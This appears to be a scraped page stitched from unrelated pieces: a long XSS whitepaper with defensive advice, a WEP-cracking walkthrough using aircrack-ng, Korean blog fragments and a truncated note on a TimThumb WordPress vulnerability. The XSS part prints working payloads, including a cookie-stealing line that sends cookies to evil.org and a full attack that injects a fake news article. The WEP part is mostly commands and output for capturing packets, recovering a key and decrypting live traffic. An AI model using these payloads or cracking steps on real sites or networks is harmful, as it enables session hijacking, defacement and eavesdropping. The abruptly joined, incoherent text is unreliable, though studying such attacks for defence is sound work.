暗行御史

As web-based applications have become more sophisticated, the types of vulnerabilities are capable of exploiting has rapidly increased. A particular class of attacks commonly referred to as “code insertion” and often “Cross-Site Scripting” has become increasingly popular. Unfortunately, the number of applications vulnerable to these attacks is staggering, and the varieties of ways attackers are finding to successfully exploit them is on the increase. Analysis of many sites has indicated that not only are the majority of sites vulnerable, but they are vulnerable to many different methods and much of their content is affected.

Introduction

Web servers delivering dynamic content to Internet clients constitute an integral component of most organisations online service offerings. The ability to tune content and respond to an individual client request represents standard functionality for any successful site. Unfortunately, due to poorly developed application code and data processing systems, the majority of these successful sites are vulnerable to attacks that focus upon the way HTML content is generated and interpreted by client browsers. Attackers are often able to embed malicious HTML-based content within client web requests. With sufficient forethought and analysis, attackers can exploit these flaws by embedding scripting elements within the returned content without the knowledge of the sites visitor.
Although the potential dangers have been known for several years now, the recent successes and improved understanding of cross-site scripting attacks has increased the importance of correctly handing user input within dynamically generated web content. High profile sites have already been shown to be susceptible to cross-site scripting attack. Future attacks are likely to become more sophisticated and, through automation and exploitation of client browser vulnerabilities, many times more devastating.
This document aims to educate those responsible for the management and development of commercial online services by providing the information necessary to understand the significance of the threat, and provide advice on securing applications against this type of attack.

Code Insertion

The success of this type of attack hinges upon the functionality of the client browser. In HTML, to distinguish displayable text from the interpreted markup language, some characters are treated specially. One of the most common special characters used to define elements within the markup language is the “<“ character, and is typically used to indicate the beginning of an HTML tag. These tags can either affect the formatting of the page or induce a program that the client browser executes (e.g. the <SCRIPT> tag introduces a JavaScript program).
As most web browsers have the ability to interpret scripts embedded within HTML content enabled by default, should an attacker successfully inject script content, it will likely be executed within context of the delivery (e.g. website, HTML help, etc.) by the end user. Such scripts may be written in any number of scripting languages, provided that the client host can interpret the code. Scripting tags that are most often used to embed malicious content include <SCRIPT>, <OBJECT>, <APPLET> and <EMBED>.
While this document largely focuses upon the threat presented through the injection of malicious scripting code, other tags may be inserted and abused by an attacker. Consider the <FORM> tag – by inserting the appropriate HTML tag information, an attacker could trick visitors to the site into revealing sensitive information by modifying the behaviour of the existing form for instance. Other HTML tags may be inserted to alter the appearance and behaviour of a page (e.g. alteration of an organisations online annual accounts or presidents statement?).
It is important to understand the HTML tags that are most commonly used to carry out code insertion tags. The following table details the most important attributes of these tags. However, it is important to note that alternative “in-line” scripting elements may be used and interpreted by the current generation of web browsers, such as javascript:alert('executing script').

Malicious Code

An embedded code attack is heavily dependant upon the delivery mechanism. Thus the delivery method often dictates the audience the script will potentially affect.
It is interesting to note that such attacks have been around since before the Internet and HTML. Back in the days of dial-up Bulletin Boards Systems (BBS), the problem was site visitors encoding their messages in coloured ASCII and later, the use of vector drawing languages permitted users to redesign pages themselves. Thus many sites hosting discussion groups with user interfaces learnt along time ago to rigorously control the content that be could submitted.
An early problem for web-based discussion groups was the over-use and unintended misuse of standard HTML tags. For instance, early message boards merely took the user submitted text from a standard POST form. This data was then added to the discussion page, without any further processing. Users often included text formatting tags to bold, italicise or colour their text – making a greater visual impact to their message. Unfortunately, it was not uncommon for someone to forget to provide a closing format tag, resulting in the unintentional effect of altering every following message on the page. Now consider the implications of a user embedding the following two code snippets in their posting and what the implications would be to everyone viewing the message.

Hello World! <SCRIPT>malicious code</SCRIPT>

Hello World! <EMBED SRC="http://www.paedophile.com/movies/rape.mov">

Unfortunately, attackers are finding ever more ingenious methods of encoding their embedded attacks, and consequently many more sites are vulnerable.
Of particular importance is the abuse of trust. Consider a trusted site with a poorly coded search engine. An attacker may be able to embed their malicious code within a hyperlink to the site. When the client web browser follows the link, the URL sent to trusted.org includes malicious code. The site sends a page back to the browser including the value of criteria, which consequently forces the execution of code from the evil attackers’ server. For example;

<A HREF="http://trusted.org/search.cgi?criteria=<SCRIPT SRC='http://evil.org/badkama.js'></SCRIPT>"> Go to trusted.org</A>

In the attack above, one source is inserting code into pages sent by another source.

It should be noted that this attack:
• disguises the link as a link to http://trusted.org,
• can be easily included in an HTML email message,
• does not supply the malicious code inline, but is downloaded from http://evil.org. Thus the attacker retains control of the script and can update or remove the exploit code at anytime.
This class of vulnerability is popularly referred to as cross-site scripting (CSS or sometimes XSS).

Cross Site Scripting

A cross-site scripting vulnerability is caused by the failure of an web based application to validate user supplied input before returning it to the client system. “Cross-Site” refers to the security restrictions that the client browser usually places on data (i.e. cookies, dynamic content attributes, etc.) associated with a web site. By causing the victim’s browser to execute injected code under the same permissions as the web application domain, an attacker can bypass the traditional Document Object Model (DOM) security restrictions which can result not only in cookie theft but account hijacking, changing of web application account settings, spreading of a webmail worm, etc.
Note that the access that an intruder has to the Document Object Model (DOM) is dependent on the security architecture of the language chosen by the attacker. Specifically, Java applets do not provide the attacker with any access beyond the DOM and are restricted to what is commonly referred to as a sandbox.
The most common web components that fall victim to CSS/XSS vulnerabilities include CGI scripts, search engines, interactive bulletin boards, and custom error pages with poorly written input validation routines. Additionally, a victim doesn’t necessarily have to click on a link; CSS code can also be made to load automatically in an HTML e-mail with certain manipulations of the IMG or IFRAME HTML tags.
The most popular CSS/XSS attack (and devastating) is the harvesting of authentication cookies and session management tokens. With this information, it is often a trivial exercise for an attacker to hijack the victims active session, completely bypassing the authentication process. Unfortunately, the mechanism of the attack is very simple and can be easily automated. A detailed paper by iDefence goes into great detail explaining the process, but can be quickly summarised as follows:

1. The attacker investigates an interesting site that normal users must authenticate to gain access to, and that tracks the authenticated user through the use of cookies or session ID’s
2. The attacker finds a CSS vulnerable page on the site, for instance http://trusted.org/ account.asp.
3. Using a little social engineering, the attacker creates a special link to the site and embeds it in an HTML email that he sends to a long list of potential victims.
4. Embedded within the special link are some coding elements specially designed to transmit a copy of the victims cookie back to the attacker. For instance: <img src="http://trusted.org/account.asp?ak=<script>document.location .replace('http://evil.org/steal.cgi?'+document.cookie);</script>">
5. Unknown to the victim, the attacker has now received a copy of their cookie information.

The attacker now visits the web site and, by substituting his cookie information with that of the victims, is now perceived to be the victim by the server application.

Note that Cross-site scripting is commonly referred to as CSS and/or XSS.

Understanding Code Insertion

To date, security professions have discovered an ever increasing number of methods for potentially embedding code within poorly configured web applications. The following are some of the more common methods for doing so.

Inline Scripting

http://trusted.org/search.cgi?criteria=<script>code</script>

http://trusted.org/search.cgi?val=<SCRIPT SRC='http://evil.org/badkama.js'> </SCRIPT>

http://trusted.org/COM2.IMG%20src= "Javascript:alert(document.domain)"

Forced Error Responses

http://trusted.org/<script>code</script>
This insertion facet usually occurs due to poor error handling by the web server or application component. The application fails to find the requested page and reports an error which unfortunately includes the unprocessed script data.

http://trusted.org/search.cgi?blahblahblahblahblah<script>code</script>
If a Java application such as a servlet fails to handle an error gracefully, and allows stack traces to be sent to the users browser, an attacker can construct a URL that will throw an exception and add his malicious script to the end of the request.

http://trusted.og/servlet/ org.apache.catalina.servlets.WebdavStatus/<script>code</script>
In the example above, when the Tomcat servlet is called with the training illegitimate request, an error page is served containing the offending text verbatim.

Non <SCRIPT> Events

" [event]='code'
In many cases it may be possible for an attacker to insert an exploit string, with the above syntax, into a HTML tag that should have been like:

<A HREF="exploit string">Go</A>
resulting in:
<A HREF="" [event]='code'">Go</A>

<b onMouseOver="self.location.href='http://evil.org/'">bolded text</b>
As the client cursor moves over the bolded text, an intrinsic event occurs and the JavaScript code is executed.

JavaScript Entities

<img src="&{alert('CSS Vulnerable')};">
The special character “&” is sometimes interpreted as a new JavaScript code segment (entity).

Typical Payloads Formatting

<img src = "malicious.js">

<script>alert('hacked')</script>

<iframe = "malicious.js">

<script>document.write('<img src="http://evil.org/'+document.cookie+'") </script>

<a href="javascript:…">click-me</a>

Bypassing Anti-CSS Filters

A key function of any application filtering process will be the removal of possible dangerous special characters. However, in many circumstances it may be difficult to filter a large range of these characters due to the applications unique requirements.
Corporate application developers must carefully evaluate how their code will perform with a variety of attack strings. In addition, they should fully understand the different methods that special characters can be encoded.
One of the most popular alternative character representations is HTML escaped encoding, sometimes mistakenly referred to as Unicode encoding. In this system, the HEX value of the ASCII character is prefixed with the “%” character.

To better understand the processes behind bypassing Anti-CSS filtering mechanisms, a series of detailed examples are provided below.

Web Integration

As client web browsers have evolved, they have incorporated an increasingly diverse range of functions. At the same time, many common desktop applications have extended their functionality to replicate or incorporate the functionality of these same browsers. While the security flaw may be HTML injection, and more specifically CSS, the avenues available for a malicious user or attacker to initiate the attack are becoming ever broader. As is already evident, a popular “personalised” delivery mechanism has now become HTML email. Unfortunately, the delivery methods are becoming so diverse that no “single” security solution is available to prevent the attack. Consider the significance of the following delivery mechanisms.

The Flash! Attack

Flash! is a popular application for displaying animated visual information. Is has it’s own development language (ActiveScript) for creating sophisticated interactive menus, animated movies and games. The most popular web browsers often install the interpreter for these files by default and, due to the large number of sites that use the technology; many people will install the interpreter even if it wasn’t originally available with their web browser.
ActiveScript has an internal function called getURL(). This function is used for redirecting the client browser to another page. Normally the parameter supplied to the function would be a URL. However, due to integration features between the Flash! interpreter and the web browser, it is possible to insert scripting code that would be successfully interpreted by the client web browser.

For instance, instead of:
getURL("http://www.technicalinfo.net")

It is possible to specify scripting code:
getURL("javascript:alert(document.cookie)")

Thus, it is possible to embed potentially dangerous scripting elements within a common file format. The real significance of this threat is that it potentially bypasses many corporate content inspection systems (particularly those that filter out HTML <script> type tags) and local security web browser settings.
For an attack to be successful, the dangerous Flash! file (typically terminating in a “.swf” extension) must be embedded within HTML data for viewing by remote clients. Normally this occurs with the use of the <EMBED> or <OBJECT> tags, for instance:

<EMBED
src="http://evil.org/badflash.swf" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?
P1_Prod_Version=ShockwaveFlash"
type="application/x-shockwave-flash"
width="100"
height="100">
</EMBED>

The Impact

The impact of malicious code insertion is often difficult to quantify and will change as new functionality or interactions are incorporated into both web servers and client browsers. Already, users may unintentionally execute scripts written by an attacker when they follow untrusted links in web pages, mail or instant messages, or any other application capable of displaying HTML content (e.g. Microsoft Help). For this reason, a series of examples best illustrate the diversity and impact of potential threats.

Consider the following examples:

• An attacker often has access to the document retrieved since the malicious scripts are executed in a context that appears to have originated from the trusted site. With the appropriate insertions, a script could be used to read fields in a form provided by the trusted server and send this data back to the attacker.
• An attacker may be able to embed script code that has additional interactions with the legitimate web server without alerting the victim. For example, the attacker could develop an exploit that posted data to a different page on the legitimate web server.
• An attacker may be able to poison the sites persistent cookies, thus modifying the cookie content and causing malicious code to be executed each time the user visits the trusted site. The malicious code is stored as a field variable within the cookie, and executed each time the site dynamically generates page content without the correct processing.
• An attacker may be able to cause a “hidden window” to start on the client machine and us this to key-log all browser interaction of the victim. Should the victim later visit sites requiring authentication, the attacker could harvest this information.
• CSS type attacks can occur over SSL-encrypted connections. The victim, accessing a trusted host over HTTPS, may still execute an attackers code unintentionally. If the attacker references document components on a remote host, the victims client browser may generate a warning message about the insecure connection. However, the attacker can circumvent this warning by simply referencing content on a SSL-capable web server.
• An attacker may construct the malicious code to reference internal resources. Thus, an attacker may gain unauthorised access to an Intranet web server. Only one page on one web server in a domain is required to compromise the entire domain.
• An attacker may be able to bypass policies that prevent the victim browser from executing scripts. For example, Internet Explorer security “zones” may prevent the execution of scripts from untrusted Internet hosts. An attacker may embed their code within the content of a trusted internal host.
• An attacker may use a social engineering aspect to the attack. Consider an application that requires clients to complete a form to set up their account. An attacker may be able to insert malicious code into their application data. A quick phone call to the corporate help-desk asking for advice on their account may cause the execution of the malicious code on the help-desk system.
• Even if the victims’ web browser does not support scripting, an attacker may still be able to alter the content of the page – affecting its appearance, behaviour or normal operation.

To date the most popular application content to be targeted by attackers has been web pages that:

• Return results based upon user input to search engines,
• Process credit card information,
• Store and user supplied content in databases and cookies for later retrieval.

Vulnerability Checking

Finding out if your application is vulnerable to a code insertion attack is often very simple. The key lies in the analysis of the dynamically generated client-side HTML content. The following process has been frequently used in the past.

1. For each visible input field (these may be located in an HTML form, or represented in the URL as “variable=“), try the most obvious scripting formats:
   <script>alert('CSS Vulnerable')</script>
   <img csstest=javascript:alert('CSS Vulnerable')>
   &{alert('CSS Vulnerable')};
   In any case, should an alert message popup with the text “CSS Vulnerable”, the application component is vulnerable - specifically the input field just checked.
2. If, either of the above scripting checks cause the HTML page to display incorrectly, the application component may still be vulnerable.
3. For each visible variable, submit/substitute the following string:
   '';!--"<CSS_Check>=&{()} (Note that the string begins with two single-quotes)
   On the resultant page, search for the string “<CSS_Check>“. If you discover “<CS_Check>“, it is quite probable that the application component is vulnerable. However, if the word CSS_Check is no longer enclosed in something similar to %ltCSS_Check%gt, then it may not be vulnerable. If input is displayed literally at ANY point in the document, it can be used to divert the flow of execution to an attacker-supplied payload.
4. Having located the word CSS_Check, verify what (if any) other characters have be altered or filtered from the original string “'';!--"<CSS_Check>= &{()}”. Depending upon the filtered characters, the application component may still be vulnerable.
5. Looking closely at the returned HTML code, identify the specific string an attacker would need to break out of the current HTML tag or code sequence. If these characters exist, unfiltered, in responses to the test string of part 3 (above) – then there is a high probability that the application component is vulnerable.
6. Moving on from the obvious fields, repeat the process for all the hidden fields not normally editable at the client end. The best method of doing this is through the use of a free local host proxy server such as Achilles by DigiZen Security group and WebProxy by @stake. The proxy servers allow the editing of HTTP requests as they leave the client application, before being finally sent to the server application.
7. In many cases, data will be submitted via the HTTP GET request. Throughout the investigation, take note of potentially vulnerable application components that require the HTTP POST command to submit data.

It is a simple process of turning a POST into a GET submission. If the application component fails to respond to the GET the same way as it did for the POST submission, it is probably not vulnerable to a URL based inline scripting attack.

Putting It All Together

To bring together many of the ideas and processes discussed earlier in this document, an example can be used to bring it all together. In this example, the anonymous site has a search engine that responds to client data submissions. Normally the site would look like this:

In our first test, we try submitting our first test string <script>alert('CSS Vulnerable')</script>, and receive the following response:

Notice the strange response in the “Your Search” box on the left. Zoomed in below.

Taking a closer look at the content source, we notice that our sample code appears 21 times in the document, in various formats.

It appears 10 times in a format similar to:
<SCRIPT language="JavaScript1.1" SRC="http://ad.uk.doubleclick.net/adj/
anonymous.com/search;cat=search;sec=search;kw=<script>alert('css_vulnerable')
</script>;pos=top;sz=468x60;tile=1;ptile=1;ord=-308506361?"></SCRIPT>

9 times in a format similar to:
<a href="Search?q=%3Cscript%3Ealert%28%27CSS+Vulnerable%27%29%3C%2Fscript
%3E&pager.offset=10">2</a>

And twice in the format similar to:
document.writeln('<INPUT TYPE=\"TEXT\" NAME=\"q\" SIZE=\"16\" MAXLENGTH=\
"70\" VALUE=\'<script>alert('CSS Vulnerable')</script>\'>');

Obviously there are three different server-side processing routines for processing client search data.

1. In the first type (ad.uk.doubleclick.net format), it appears that the processing routine changes the case of characters and changes white space to the underscore (“_”).
2. The second type (href=) converts special characters into their escape-encoded formats, and white space into the “+” character.
3. The third type (document.writeln) places the complete string within a document.writeln JavaScript routine.

Several opportunities present themselves here. To make the site execute the JavaScript alert box for each type, we need to force the <script> tags outside of any other HTML tags. Thus, for each type, the following methods will work:

1. ><script>alert('CSS Vulnerable')</script><b a=a
2. a></a><script>alert('CSS Vulnerable')</script>
3. \'><script>alert%28\'CSS Vulnerable\'%29</script><

The result is the following alert box (multiple times):

However, for this example, we shall focus on the last type (document.writeln). Since it is possible to inject code into the returned HTML page to the anonymous News site, to make the attack interesting, we shall “write” our own fake news article.

Due to the maximum length of any string we can send to the site, and the likely length of the fake news article, we shall create a JavaScript include file (.js) which we will load in to the page using: \'><script%20src%3dhttp://evil.org/faked.js></script>

In this example, the include file will use multiple document.write statements to create the fake news article. There are several key features to the include file, and include -

• Use of HTML <DIV> tags to position the content on the page. Doing so allows the attacker to cover over existing content as they wish.
• Using a table to keep all the article text together.
• Rewriting of the URL source field at the top of the browser.
• Rewriting of the browser status bar.

From the first few lines of the fake.js file:
var d = document;
d.write('<DIV id="fake" style="position:absolute; left:200; top:200; z-index:2">
<TABLE width=500 height=1000 cellspacing=0 cellpadding=14><TR>');
d.write('<TD colspan=2 bgcolor=#FFFFFF valign=top height=125>');

So far, everything we have tested on the site makes use of the existing form to submit the attacker’s code. This submission is done by a HTTP POST command, such as:
POST /Search HTTP/1.0
Referer: http://www.anonymous.com/Search
Accept-Language: en-gb
Content-Type: application/x-www-form-urlencoded
Host: www.anonymous.com
Content-Length: 135
Pragma: no-cache
dropnav=Pick+a+section&q=\'><script%20src%3dhttp://evil.org/faked.js>
</script>newSearch=true&pro=IT&searchOption=articles

It is a simple process to convert the HTTP POST into a single URL. Unfortunately for the anonymous news site, the web application does not differentiate the methods of receiving data. Thus the following attack URL allows the attacker to place his own content “on” the site.
http://www.anonymous.com/Search?dropnav=Pick+a+section&q=\'><script
%20src%3dhttp://evil.org/faked.js></script>newSearch=true&pro=IT
&searchOption=articles

Defending Against the Attack

Solutions for Users

The only clear-cut solution for the user is to disable all scripting languages on their computer. Unfortunately, it is highly likely that much functionality of the sites regularly visited will be removed. Thus users should only pursue this option if they require the lowest possible level of request. Alternatively, users must be selective as to the sites they trust, and the sources of URL links. Again, the disabling of scripting languages will not prevent attackers influencing the appearance of content provided by trusted sites by embedding other HTML tags in the URL link.
With scripting enabled, visual inspection of links does not protect users from following malicious links, since the attacker’s web site may still use scripted code to alter the representation of the links in the client browser.
Unfortunately many integrated applications increase the threat of scripting code being executed on the users system, particularly through the use of embedded objects such as Flash! .swf files. To prevent these types of attacks, users must either uninstall the interpreters or ensure protection systems are capable of stopping the execution of such content. It is envisaged that popular anti-virus and personal intrusion detection systems will eventually be capable of this.
Frankly, the onus for protecting users against code insertion and CSS type attacks relies upon the development of secure server-side applications. Ideally, the application should correctly handle and comment submitted data. Unfortunately, the likelihood that the application developer will miss some subtle character representation is quite high.

Solutions for Developers and Organisations

As no two applications are ever the same, application developers will need to tune their security countermeasures as defined by business requirements. The key to preventing applications being vulnerable to code injection and CSS type attacks is by ensuring that dynamically generated page content does not contain undesired HTML tags.

The most likely sources of malicious data are likely to be:

• Query strings
• URL’s and pieces of UL’s
• Posted data
• Cookies
• Persistent data supplied by users, and retrieved at a later date (such as from databases)

The following methods or design considerations can be implemented by developers to better secure their application against HTTP based attacks, not just CSS.

Limit Server Responses

In many cases it may be possible to limit the amount of “personalised” data that will be returned to client browsers through the use of generic responses.
For example, consider a site that that displays the greeting “Hello, Gunter!” in response to http://trusted.org/greeting.jsp?name=Gunter. It would be a preferable security option to sacrifice this dynamic response with a hard-coded response such as “Hello, User!”

Enforce Response Lengths

For the majority of applications, the developer should be able to limit the maximum length of any user-supplied strings. Although initially enforced at the client-side, all strings should also be checked at the server-side. Where possible, enforce the limitation of the maximum necessary string length by truncating any longer responses.

HTTP Referer

As part of the HTTP standard, provision is made for a field header called “referer”. When a client browser follows a link or submits form data, the referer field should contain the URL of the page that the link or data came from. If possible, the web application should check the referer field and reject data if it didn’t come from the correct host or link.

Embedded Files and Objects

As witnessed by the Flash! Attack, attackers may be capable of embedding scripting components that can be interpreted by the client web browser and used to conduct a CSS attack.
For inclusion within a HTML based document, embedded files and objects are referred to using the HTML <EMBED> and <OBJECT> tags. Several options are available for decreasing the threat of embedded CSS attacks:

• The safest option is to treat <EMBED> and <OBJECT> tags the same as <SCRIPT> tags, and disallow any content to be submitted to the application that contains such data strings.
• Depending upon the format of the embedded object, it may be possible parse filter content based upon content within the object. For instance, with Flash! files, it would be possible to remove all instances where the getURL() field contains a reference to a site other than the current application host. Alternatively, it may be possible to specify the target window as “_blank” and thus stopping any potential scripting code from being executed under the hosting domains privileges.

HTTP POST not GET

In the majority of cases, remote code insertion attacks are likely to be through the submission of user data in HTML forms. One prevention step is to ensure that form submission is only ever done through HTTP POST requests. Allowing HTTP GET request submissions will allow potentially attackers to craft distributable URL’s containing the offending code.
When coding the server-side application, it is extremely important to ensure that the client-side data can only be received through HTTP POST variables. Most web hosting applications will indicate the variable delivery method.

Cookie Inspection

Many applications utilise cookies for managing the state of the communication, and local storage of information relevant to the user. Application developers must ensure that all cookie information is thoroughly checked and filtered before insertion into the HTML documents. Attackers modifying persistent cookies can also make their attacks persistent.

URL Session Identifier

In some circumstances, the use of a unique session identifier for each valid user can be used to prevent remote exploitation of URL based code insertion attacks.
As a user arrives at the web site, they are automatically allocated a unique session ID. This session ID can ONLY be obtained from one page on the site (usually the start/home page). Should a visitor try to access any other page within the site without a valid session ID, they are automatically redirected to the start page and issued one.
Should an attacker discover a CSS flaw with one application component, any crafted exploit URL will have to contain a valid session ID. By rigorously controlling the session ID timeout, the attacker will not be able make use of the flaw (other than affecting the attacker locally) outside of this period.
For additional security, the session ID could also be made in include a hashed version (or checksum) of the client browser’s IP address.

Character Sets

The success of code injection attacks relies heavily on the use of non a-Z characters. Some small measure of security can be gained by ensuring that an appropriate data is filtered using an appropriate character set.

Dangerous Content

Certain characters are of special significance when inserted into web pages or URL content. These characters are based upon the HTML specifications, context and browser interpretation. If input to the application (or web site) is not correctly validated, the following problems may occur:

• Session information from client cookies may be set and read,
• User input could be intercepted,
• Data integrity can be compromised,
• Foreign scripting components can be executed by the client browser in the context of the trusted source.

When dealing with potentially dangerous user supplied data, organisation may approach from three different angles:

• Encode output based upon input parameters.
• Filter input parameters for special characters.
• Filter output based upon input parameters for special characters.

Applying the appropriate solution efficiently is dependant upon the language used to code the server-side application.

Depending upon the application, and the particular phase of operation, it may be necessary to use different techniques to handle the special characters. In most instances input or output filtering will be sufficient. However, if particular client data submissions are likely to contain special characters (e.g. a complex database search query), it may be necessary to encode the resultant data for presentation back to the client.

Encode output based upon input parameters

In this method, any non-validated user data is always encoded to the appropriate HTML characters as it is written back to the user. For instance the character “<“ would be encoded as “&lt” and, although appearing to the user as the less-than character, would not be interpreted by the client application as the start of a HTML tag.

If a web page uses the UFT-7 character encoding, there are several different strings which will act as a ‘<’ character and start an HTML tag; all of these strings start with a ‘+’. It is also important that the use of the”%” encoding character be carefully monitored, as it can be used to escape-encode or Unicode special characters that will be correctly interpreted the client web browser. There are many methods of encoding text and special characters. A detailed analysis can be found in the earlier paper, “URL Encoded Attacks”.

Filter input parameters for special characters.

Input filtering works by removing some or all special characters from user supplied data as it reaches the server-side application components. Although it is possible to implement client-side input filtering, this should never be relied upon as it is often a trivial exercise for an attacker to bypass it. Even if implemented at the client-side, the server-side processes should carry out the same input filtering processes.

The recommended method of implementing input filtering is to only select from the set of characters that is known to be safe rather than excluding the named special characters. This method is referred to as Positive filtering, and by only selecting the characters that are acceptable, it will help to reduce the ability to exploit other yet unknown vulnerabilities.

For example, a form field that is expecting a person's age can be limited to the set of digits 0 through 9. There is no reason for this age element to accept any letters or other special characters.

Filter output based upon input parameters for special characters

Output filtering functions similarly to Input filtering, except that special characters are filtered from the data at the server-side application before being sent to the client web browser. This technique should be used when data is retrieved from databases or storage formats, particularly when there is a probability that non-filtered content could have been added by other applications or system processes.

Special care should be taken when using Output filtering. If the application outputs HTML content, vigilance is required to ensure that special character filtering is restricted to data that has been previously supplied by a user and stored in a database. Filtering the special characters “<“ and “>“ too early in the process is likely to render the client HTML document useless.

Cracking a WEP key is extremely easy and is a matter of a few seconds. Truth? Pretty much… We are going to decrypt traffic in real time as well without even needing to connect to the wireless access point.
 
All steps will be run under root super-user as interfaces state needs to be changed.
 

To Start with

Download and install aircrack-ng. It’s available on most Linux distributions in a package format.
On Debian, run

apt-get install aircrack-ng

 
Aircrack provides tools to capture packets, crack the WEP key, and decrypt live traffic.
 
We’ll run tests with a Linksys PCMCIA wifi card. A simple ifconfig displays the card’s network stats that tells us it’s been detected.

root@crack_WEP:~# ifconfig
lo        Interface doesn't support scanning.

wlan0     Link encap:Ethernet  HWaddr 00:1a:70:6b:37:4e
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:22 errors:0 dropped:0 overruns:0 frame:0
          TX packets:63 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3742 (3.7 KB)  TX bytes:10773 (10.7 KB)

Capture packets

The interface needs to be switched to monitor mode.

root@crack_WEP:~# airmon-ng
Interface	Chipset		Driver
wlan0		Broadcom 43xx	b43 - [phy0]

 
Airmon has detected interface wlan0. It could be a different name of course such as ath0 for instance.

root@crack_WEP:~# airmon-ng stop wlan0
Interface	Chipset		Driver
wlan0		Broadcom 43xx	b43 - [phy0]
				(monitor mode disabled)

root@crack_WEP:~# airmon-ng start wlan0
Interface	Chipset		Driver
wlan0		Broadcom 43xx	b43 - [phy0]
				(monitor mode enabled on mon0)

 
Running iwconfig shows mon0 has been added in addition to the original interface wlan0:

root@crack_WEP:~# iwconfig
wlan0     IEEE 802.11bg  ESSID:""
          Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated
          Tx-Power=27 dBm
          Retry min limit:7   RTS thr:off   Fragment thr=2352 B
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=27 dBm
          Retry min limit:7   RTS thr:off   Fragment thr=2352 B
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

 
We can now scan for available networks

root@crack_WEP:~# airodump-ng mon0
 CH 10 ][ Elapsed: 4 s ][ 2009-08-08 18:01
 BSSID              PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
 00:A0:C5:FF:84:72  197        4        0    0   1  11  WEP  WEP         private
 BSSID              STATION            PWR   Rate  Lost  Packets  Probes

 
Scan results show we've got an access point emitting on channel 1 with WEP encryption and which has mac address 00:A0:C5:FF:84:72.
The target now defined, we need to capture air packets.

root@crack_WEP:~# airodump-ng --channel 1 --bssid 00:A0:C5:FF:84:72 --write temp wlan0

 CH  1 ][ Elapsed: 31 mins ][ 2009-05-02 21:52
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
 00:A0:C5:FF:84:72  205  10     6058    24496    0   1  54  WEP  WEP         private
 BSSID              STATION            PWR   Rate  Lost  Packets  Probes
 00:A0:C5:FF:84:72  00:18:4D:76:30:EB  188  54-54     0    24795

 
Packets are captured in .cap files with the temp suffix.
Cracking techniques getting more efficient, there are good chances to crack a key with no more than 40000 packets with recent algorithms. Capturing time varies with the amount of traffic on the air link.
 

Crack the WEP key

It's now time to crack the WEP key:

root@crack_WEP:~# aircrack-ng -z -b 00:A0:C5:FF:84:72 temp.cap-0*.cap 

                                         Aircrack-ng 1.0 rc1

                         [00:00:22] Tested 240228 keys (got 41742 IVs)

   KB    depth   byte(vote)
    0    0/  1   B9(58880) A0(50688) 12(50176) F5(49920) 9E(48896) CD(48640)
    1    0/  1   19(54784) E8(52480) FA(52480) 4B(51456) 79(51456) DD(49664)
    2    0/  1   31(59648) EA(53504) 40(50688) 0A(50432) 88(50432) 0E(50176)
    3    0/  1   8C(60416) 05(49152) 56(49152) 23(48640) 52(48384) 03(48128)
    4    0/  1   B2(59136) AE(49664) 78(49152) FE(49152) 8B(48384) 9C(47616)
    5    0/  1   61(53504) E6(50688) FF(50176) 13(49664) 23(49408) C7(49408)
    6    0/  1   DD(56320) C4(51968) 90(50688) 0C(50176) CF(49920) CE(49152)
    7    0/  1   4E(53248) E6(51968) 7D(49152) 0B(48896) 90(48896) 06(48640)
    8    0/  1   FB(52224) C1(49664) E9(48128) 3D(47616) F0(47360) EB(47104)
    9    0/  1   0B(54784) BC(51712) 52(50432) 54(49920) F5(49920) CA(48896)
   10    0/  1   E6(50944) 1C(49920) 5F(49408) 1F(49152) 0A(48896) 83(48896)
   11    2/  1   FF(49664) 17(48384) 94(48128) 27(47872) 23(47616) B2(47616)
   12    0/  4   91(50452) A4(50360) 77(50156) 78(49540) FF(49476) 70(48788) 

             KEY FOUND! [ B9:19:31:8C:B2:61:DD:4E:FB:0B:AA:62:99 ]
	Decrypted correctly: 100%

 
That’s right, the key was cracked in 22 seconds!
 

Decrypt the traffic

It is possible to capture the traffic in .cap files as above, decrypt it in a second file before sending it to the tcpdump command for instance:

root@crack_WEP:~# airdecap-ng -w b919318cb261dd4efb0baa6299 temp-01.cap
Total number of packets read         22072
Total number of WEP data packets      6245
Total number of WPA data packets         0
Number of plaintext data packets         3
Number of decrypted WEP  packets      6245
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets         0

root@crack_WEP:~# tcpdump -r temp-01-dec.cap -i wlan

 
But it is also possible to decrypt live traffic in real time sending it to a virtual interface at0 on which we can listen as with any real interface. Airtun-ng provided in Aircrack package has the ability to do so.

root@crack_WEP:~# airtun-ng -a 00:A0:C5:FF:84:72 -w b919318cb261dd4efb0baa6299 mon0
created tap interface at0
WEP encryption specified. Sending and receiving frames through mon0.
FromDS bit set in all frames.

 
From another shell:

crack_WEP:~# tcpdump -i at0

Conclusion

It is indeed very easy to crack a WEP key and listen to the traffic without associating to the access point hence without being detected. Pay attention to use at least WPA with non-dictionnary based passwords.

예제 코드까지 제시하면서 보여주는 센스~ :-)
winapi를 정복하신 분이라면 이 전율을 느끼실 수 있습니다.

위 사진과 같이 3천 6백만번의 다운로드가 이루어 졌을 많큼 많은 곳에서 사용중임을 추정할 수 있다.

---
sucuri.net에서 공개한 확인해야 하는 timthumb 리스트안에 관리하는 웹서버의 디렉터리는 안전한지 확인해 보자. 만일 존재한다면 기능을 제한 하거나 보안 패치된 에디터로 업데이트 하자.


[출처] http://blog.sucuri.net/2011/08/timthumb-security-vulnerability-list-of-themes-including-it.html

The Timthumb 0-day security vulnerability is generating a lot of noise and for good reason. If you have a theme that includes TimThumb, your site can be easily hacked.

Because of this, we checked the WordPress Free Themes Directory and aggregated a list of themes that include TimThumb.

If you use any of the following themes please check to see if the script is present, and make sure it is updated:

8q/scripts/timthumb.php
